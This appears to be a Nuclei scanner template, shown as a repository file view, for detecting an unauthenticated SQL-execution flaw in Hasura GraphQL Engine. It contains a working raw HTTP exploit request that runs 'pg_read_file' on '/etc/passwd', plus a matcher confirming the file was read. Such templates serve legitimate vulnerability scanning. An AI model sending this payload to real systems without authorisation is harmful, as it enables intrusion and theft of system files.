nuclei-templates/http/vulnerabilities/other/hasura-graphql-psql-exec.yaml

46 lines
1.1 KiB
YAML
Raw Normal View History

2021-07-27 16:23:55 +00:00
id: hasura-graphql-psql-exec
2021-07-27 14:57:59 +00:00
info:
name: Hasura GraphQL Engine - Remote Code Execution
author: Udyz
2021-07-27 14:57:59 +00:00
severity: critical
description: Hasura GraphQL Engine allows remote unauthenticated users to execute arbitrary SQL statements via the '/v2/query' endpoint (aka remote code execution).
reference:
- https://www.exploit-db.com/exploits/49802
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-77
tags: graphql,edb,hasura,rce
metadata:
max-request: 1
2021-07-27 14:57:59 +00:00
http:
2021-07-27 14:57:59 +00:00
- raw:
- |
POST /v2/query HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"type": "bulk",
"source": "default",
"args":[
{
"type": "run_sql",
"args": {
"source":"default",
"sql":"SELECT pg_read_file('/etc/passwd',0,100000);",
"cascade": false,
"read_only": false
}
}
]
}
2021-08-02 16:48:41 +00:00
2021-07-27 14:57:59 +00:00
matchers:
- type: regex
regex:
- "root:.*:0:0:"
2021-08-02 16:45:52 +00:00
part: body